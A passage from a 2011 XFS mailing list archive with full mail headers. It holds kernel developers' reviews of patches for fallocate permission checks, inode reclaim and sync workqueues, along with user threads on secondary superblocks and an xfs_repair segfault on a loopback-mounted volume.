(!gfs2_write_alloc_required(ip, offset, len)) > goto out_unlock; > > --- ./linux-2.6.38-rc5/fs/xfs/linux-2.6/xfs_file.c 2011-02-16 04:23:45.000000000 +0100 > +++ ./linux-2.6.38-rc5/fs/xfs/linux-2.6/xfs_file.c 2011-03-03 09:25:32.000000000 +0100 > @@ -906,8 +906,18 @@ xfs_file_fallocate( > > xfs_ilock(ip, XFS_IOLOCK_EXCL); > > - if (mode & FALLOC_FL_PUNCH_HOLE) > + if (mode & FALLOC_FL_PUNCH_HOLE) { > cmd = XFS_IOC_UNRESVSP; > + if (IS_APPEND(inode)) { > + error = -EPERM; > + goto out_unlock; > + } > + } WTF? Why does append mode have any effect on whether we can punch holes in a file or not? There's no justification for adding this in the commit message. Why is it even in a patch that is for checking immutable inodes? What is the point of adding it, when all that will happen is people will switch to XFS_IOC_UNRESVSP which has never had this limitation? And this asks bigger questions - why would you allow preallocate anywhere but at or beyond EOF on an append mode inode? You can only append to the file, so if you're going to add limitations based on the append flag, you need to think this through a bit more.... > + > + if (IS_IMMUTABLE(inode)) { > + error = -EPERM; > + goto out_unlock; > + } Also, like Christoph said, these checks belong in the generic code, not in every filesystem. The same checks have to be made for every filesystem, so they should be done before calling out the filesystems regardless of what functionality the filesystem actually supports. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 3 16:02:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23M2Ba4116869 for ; Thu, 3 Mar 2011 16:02:11 -0600 X-ASG-Debug-ID: 1299189900-5b3201eb0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A6A2B1AEF3F5 for ; Thu, 3 Mar 2011 14:05:01 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id l6WHa46eivUmxMcy for ; Thu, 03 Mar 2011 14:05:01 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoAEAJafb015LFEbgWdsb2JhbACmZhYBARYiJb8ODYVUBJIN Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Mar 2011 08:34:45 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PvGdY-0006de-Ij; Fri, 04 Mar 2011 09:04:44 +1100 Date: Fri, 4 Mar 2011 09:04:44 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: introduce inode cluster buffer trylocks for xfs_iflush Subject: Re: [PATCH 1/5] xfs: introduce inode cluster buffer trylocks for xfs_iflush Message-ID: <20110303220444.GN15097@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-2-git-send-email-david@fromorbit.com> <20110303155535.GA12670@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303155535.GA12670@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299189902 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56967 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 10:55:35AM -0500, Christoph Hellwig wrote: > > + * pass through will see the stale flag set on the inode. > > + */ > > + error = xfs_iflush(ip, SYNC_TRYLOCK | sync_mode); > > if (sync_mode & SYNC_WAIT) { > > + if (error == EAGAIN) { > > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > > + /* backoff longer than in xfs_ifree_cluster */ > > + delay(2); > > Do we really need the delay here? It seems like we'd rather want to > keep going with scanning the next inode cluster and return here from > xfs_reclaim_inodes. I did that because SYNC_WAIT semantics mean "block until the inode is reclaimed". This is the slow, reliable reclaim path that doesn't return until the inode is reclaimed, so we have to have a backoff here to allow xfs_ifree_cluster() to complete it's backoff and gain the locks successfully thereby allowing the inode to be reclaimed successfully. > > diff --git a/fs/xfs/linux-2.6/xfs_sync.h b/fs/xfs/linux-2.6/xfs_sync.h > > index 32ba662..0ae48ff 100644 > > --- a/fs/xfs/linux-2.6/xfs_sync.h > > +++ b/fs/xfs/linux-2.6/xfs_sync.h > > @@ -34,6 +34,7 @@ typedef struct xfs_sync_work { > > > > int xfs_syncd_init(struct xfs_mount *mp); > > void xfs_syncd_stop(struct xfs_mount *mp); > > +void xfs_syncd_queue_sync(struct xfs_mount *mp, int flags); > > This hunk belongs into a different patch. Oops. Will fix. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 3 16:38:19 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23McInU117979 for ; Thu, 3 Mar 2011 16:38:19 -0600 X-ASG-Debug-ID: 1299192067-482502c70000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5BC0C310E30 for ; Thu, 3 Mar 2011 14:41:08 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dcmqq96sre4CfgGI for ; Thu, 03 Mar 2011 14:41:08 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoAEANqmb015LFEbgWdsb2JhbACmZhYBARYiJb59DYVUBA Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Mar 2011 09:11:07 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PvHCj-0006i9-M3; Fri, 04 Mar 2011 09:41:05 +1100 Date: Fri, 4 Mar 2011 09:41:05 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: Re: [PATCH 3/5] xfs: convert ENOSPC inode flushing to use new syncd workqueue Message-ID: <20110303224105.GP15097@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-4-git-send-email-david@fromorbit.com> <20110303153410.GA27205@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303153410.GA27205@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299192069 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56969 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 10:34:10AM -0500, Christoph Hellwig wrote: > I still don't see any point in having the ENOSPC flushing moved to a > different context. IIRC, stack usage has always been an issue, and we also call xfs_flush_inodes() with the XFS_IOLOCK held (from xfs_iomap_write_delay()) so the alternate context was used to avoid deadlocks. I don't think we have that deadlock problem now thanks to being able to combine SYNC_TRYLOCK | SYNC_WAIT flags, but I'm not sure we can ignore the stack issues. > Just add a mutex and flush inline, e.g. > > void > xfs_flush_inodes( > struct xfs_inode *ip) > { > struct xfs_mount *mp = ip->i_mount; > > if (!mutex_trylock(&xfs_syncd_lock)) > return; /* someone else is flushing right now */ > xfs_sync_data(mp, SYNC_TRYLOCK); > xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); > xfs_log_force(mp, XFS_LOG_SYNC); > mutex_unlock(&xfs_syncd_lock); > } This doesn't allow all the concurrent flushes to block on the flush in progress. i.e. if there is a flush in progress, all the others will simply return an likely get ENOSPC again because they haven't waited for any potential space to be freed up. It also realy requires a per-filesystem mutex, not a global mutex, because we don't wan't to avoid flushing filesystem X because filesystem Y is currently flushing. Yes, I could play tricks when the trylock case fails, but I'd prefer to leave it as a work item because then all the concurrent flushers all block on the same work item and it is clear from the stack traces what they are all waiting on. I've also realised the work_pending() check is unnecessary, as is the lock, because queue_work() will only queue new work if the work item isn't already pending so there's no need to check it here. Hence all this actually needs to do is: queue_work() flush_work_sync() Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 3 16:41:00 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p23Mf0tO118051 for ; Thu, 3 Mar 2011 16:41:00 -0600 X-ASG-Debug-ID: 1299192230-4eb302430000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A827C310E4D for ; Thu, 3 Mar 2011 14:43:50 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 8PkFaerEeqbBjWvL for ; Thu, 03 Mar 2011 14:43:50 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoAEANqmb015LFEbgWdsb2JhbACmZhYBARYiJb59DYVUBA Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Mar 2011 09:13:49 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PvHFM-0006iK-Or; Fri, 04 Mar 2011 09:43:48 +1100 Date: Fri, 4 Mar 2011 09:43:38 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 4/5] xfs: introduce background inode reclaim work Subject: Re: [PATCH 4/5] xfs: introduce background inode reclaim work Message-ID: <20110303224338.GQ15097@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-5-git-send-email-david@fromorbit.com> <20110303153634.GB27205@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110303153634.GB27205@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299192231 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56969 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 03, 2011 at 10:36:34AM -0500, Christoph Hellwig wrote: > > +void > > +xfs_syncd_queue_reclaim( > > + struct xfs_mount *mp, > > + int flags) > > +{ > > + mutex_lock(&xfs_syncd_lock); > > + if (!delayed_work_pending(&mp->m_reclaim_work)) > > + queue_delayed_work(xfs_syncd_wq, &mp->m_reclaim_work, > > + xfs_syncd_centisecs / 5 * msecs_to_jiffies(10)); > > + mutex_unlock(&xfs_syncd_lock); > > + > > + if (flags & SYNC_WAIT) > > + flush_delayed_work_sync(&mp->m_reclaim_work); > > +} > > queue_work/queue_delayed_work have a test_set_bit on > WORK_STRUCT_PENDING_BIT, so can just call queue_work/queue_delayed_work > and it will do the right thing if it is in use. So you can remove the > mutex and delayed_work_pending check here. > Yup, it's already gone. :) > At least currently SYNC_WAIT is never set by any caller, and I wonder if > we should just leave the waiting to the caller if we ever grow one. I can remove it - it is a left over from testing different methods of throttling the shrinker. Cheers, Dave. -- Dave Chinner david@fromorbit.com From ajeet.yadav.77@gmail.com Thu Mar 3 20:39:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p242dF34130256 for ; Thu, 3 Mar 2011 20:39:16 -0600 X-ASG-Debug-ID: 1299206526-0455029b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-vw0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A1C34311710 for ; Thu, 3 Mar 2011 18:42:06 -0800 (PST) Received: from mail-vw0-f53.google.com (mail-vw0-f53.google.com [209.85.212.53]) by cuda.sgi.com with ESMTP id I7JzIwnJ7XADSe54 for ; Thu, 03 Mar 2011 18:42:06 -0800 (PST) Received: by vws8 with SMTP id 8so1693244vws.26 for ; Thu, 03 Mar 2011 18:42:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to :content-type; bh=7UgpKY9aJwxJfjfQvnc3he6xY+MzIr104ekNMlMZgmo=; b=NtqAkI79bHrYrib9BzBQLP7PzF/FRldSmurPE4BHL38q0gAkyi/ML2X2vBpZPguIlk UQUDX1HCcUWHKNKiwpLumihbvOC+6Gp77Me97yhJ0ntj7idoeYhCG8TIGKiZ2oAM+uPd HRcNeBKq6OGDYt21epgM7w7V2QnSQ9ru8QIhI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=Mu5DIc0NbB0Z7r2gzotYvhTmdRBgbglcV79CD2r2LzI1/pFSQerj45ZwwYK12mDY9q zv723vCFmWA6HzfWUjF4toqOCNylZMGZCGSVeXipZd1TJejm8mW8Hh4B5g8wToXAzQqE wm4RUOZISS5YZBVBRRaBr9fOO7nJyRQCaz4OI= MIME-Version: 1.0 Received: by 10.220.66.139 with SMTP id n11mr28170vci.87.1299206525836; Thu, 03 Mar 2011 18:42:05 -0800 (PST) Received: by 10.220.122.167 with HTTP; Thu, 3 Mar 2011 18:42:05 -0800 (PST) Date: Fri, 4 Mar 2011 11:42:05 +0900 Message-ID: X-ASG-Orig-Subj: When XFS saves secondary Super block Subject: When XFS saves secondary Super block From: Ajeet Yadav To: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vw0-f53.google.com[209.85.212.53] X-Barracuda-Start-Time: 1299206526 X-Barracuda-Bayes: INNOCENT GLOBAL 0.1901 1.0000 -0.8803 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -0.88 X-Barracuda-Spam-Status: No, SCORE=-0.88 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56985 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Often when primary super block is corrupted, and xfs_repair is run on it, it try to find the secondary super block traversing in block units from XFS_AG_MIN_BYTES to end of partition. Now the problem is at first place we do not know whether we actually have secondary super block or not on partition, because if we know this inadvance then we may not waste time in scanning a complete disk. User point of view is that its like xfs_repair hangs (offcourse developer knows its not, point of view are different) 1. In which case secondary super block is created, is it created during format itself, if yes then at what location. 2. In our case we always find that when ever primary super block is corrupted, xfs_repair never find secondary super block also, so we are doubt ful of its existence. If its not there then we can just exit xfs_repair instead of waiting for minutes. From schmorp@schmorp.de Fri Mar 4 01:08:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2478a21145241 for ; Fri, 4 Mar 2011 01:08:37 -0600 X-ASG-Debug-ID: 1299222685-5e1102350000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 426BB3121AC for ; Thu, 3 Mar 2011 23:11:25 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id Wk0UzDQHByDFEwhB for ; Thu, 03 Mar 2011 23:11:25 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PvPAZ-0001tO-KC for xfs@oss.sgi.com; Fri, 04 Mar 2011 07:11:23 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PvPAZ-0000WT-Ef for xfs@oss.sgi.com; Fri, 04 Mar 2011 07:11:23 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1PvPAZ-0002YH-C0 for xfs@oss.sgi.com; Fri, 04 Mar 2011 08:11:23 +0100 Date: Fri, 4 Mar 2011 08:11:23 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110304071123.GC2316@schmorp.de> References: <20110302175818.GA8290@schmorp.de> <20110302224329.3f62c172@galadriel2.home> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20110302224329.3f62c172@galadriel2.home> X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299222686 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0761 1.0000 -1.5378 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.54 X-Barracuda-Spam-Status: No, SCORE=-1.54 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 02, 2011 at 10:43:29PM +0100, Emmanuel Florac wrote: > Le Wed, 2 Mar 2011 18:58:18 +0100 vous écriviez: > > > I had a case of filesystem corruption a day ago: > > Thanks for your reply (and sorry for apparrently submitting my mail multiple times - the crashed machine is also the mail relay and had some trouble). > What's the kernel version? It's apparently a loopback device, what is > mounted and how? Right... it's 2.6.32-5-amd64 (the debian squeeze kernel), and it is indeed a loopback device. It's normally mounted like this: mount -orelatime,biosize=28,logbufs=8,logbsize=256k,allocsize=8k,inode64,largeio ... There are five logical volumes on this machine which are mounted via loopback device, all XFS. The other ones seem to work fine. > Your log looks quite hopeless at first glance... I hope not :) I can mount the volume read-only, and apparently read a lot of files on it. My main problem seems to be the crashing xfs_repair. -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From eflorac@intellique.com Fri Mar 4 01:49:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p247nMux147326 for ; Fri, 4 Mar 2011 01:49:23 -0600 X-ASG-Debug-ID: 1299225129-11ea02680000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp3-g21.free.fr (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id AC5A2A93591 for ; Thu, 3 Mar 2011 23:52:10 -0800 (PST) Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id xSPFnAI82Fq4Yam7 for ; Thu, 03 Mar 2011 23:52:10 -0800 (PST) Received: from galadriel2.home (unknown [82.235.234.79]) by smtp3-g21.free.fr (Postfix) with ESMTP id D634EA63A4; Fri, 4 Mar 2011 08:52:04 +0100 (CET) Date: Fri, 4 Mar 2011 08:51:46 +0100 From: Emmanuel Florac To: Marc Lehmann Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110304085146.368046e7@galadriel2.home> In-Reply-To: <20110304071123.GC2316@schmorp.de> References: <20110302175818.GA8290@schmorp.de> <20110302224329.3f62c172@galadriel2.home> <20110304071123.GC2316@schmorp.de> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1299225133 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57005 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Le Fri, 4 Mar 2011 08:11:23 +0100 vous =C3=A9criviez: > I hope not :) I can mount the volume read-only, and apparently read a > lot of files on it. My main problem seems to be the crashing > xfs_repair. >=20 Ah, I think the problem may lie in the loop device. Try to run xfs_repair -f /file/path=20 (not using the loop device). --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From marco.stornelli@gmail.com Fri Mar 4 02:19:19 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p248JJiE148767 for ; Fri, 4 Mar 2011 02:19:19 -0600 X-ASG-Debug-ID: 1299226930-18f102170000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f51.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D98D2312384 for ; Fri, 4 Mar 2011 00:22:10 -0800 (PST) Received: from mail-ww0-f51.google.com (mail-ww0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id lgfrV86CC7mbzj8l for ; Fri, 04 Mar 2011 00:22:10 -0800 (PST) Received: by wwf26 with SMTP id 26so1824455wwf.32 for ; Fri, 04 Mar 2011 00:22:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:user-agent:mime-version:to :cc:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=JAR675HN3QrDVJJ49hHC0khfXqOQ2x5q5DGam184HZQ=; b=gAikRSh2Hsg6EsFchz9RnTNTyMBH/VyrUgJVfJjjhGmHiuZVGDAxZowyewpe3uOwQK eJKzElN+pF7yVYto7f+aaXQSCbTvHgry2hzZjzC5TmbTIayEJvqKXvxKLW2EYszMhHyP BGLwRouwogngyV+wYyVOFweZ1h46zSlOBPb54= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=aLmXA6qhQQX3EZdpj6/73PnuG/yzxGYXC1MgFo/GK5dA58ilDiNHNoKKIFQVC5S8Ml J8TGtieJ5czYIzBNxklm/+oxoCjUH2T50fXQtI8vzZxZDsfDTruRIyLO1wt5RCIMzEFF pS7Fu9yszwDyF8WqeIZFQ4ILVK8c//aTkod4c= Received: by 10.216.6.27 with SMTP id 27mr283981wem.69.1299226929745; Fri, 04 Mar 2011 00:22:09 -0800 (PST) Received: from [82.59.179.64] (host64-179-dynamic.59-82-r.retail.telecomitalia.it [82.59.179.64]) by mx.google.com with ESMTPS id g8sm978942wej.23.2011.03.04.00.22.07 (version=TLSv1/SSLv3 cipher=OTHER); Fri, 04 Mar 2011 00:22:08 -0800 (PST) Message-ID: <4D709FFC.6000107@gmail.com> Date: Fri, 04 Mar 2011 09:17:00 +0100 From: Marco Stornelli User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20101125 SUSE/3.0.11 Thunderbird/3.0.11 MIME-Version: 1.0 To: Dave Chinner CC: Linux Kernel , linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel X-ASG-Orig-Subj: Re: [PATCH v2] Check for immutable flag in fallocate path Subject: Re: [PATCH v2] Check for immutable flag in fallocate path References: <4D6221B8.9040303@gmail.com> <4D6F5473.2070709@gmail.com> <20110303213903.GL15097@dastard> In-Reply-To: <20110303213903.GL15097@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ww0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1299226930 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57008 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi Dave, Il 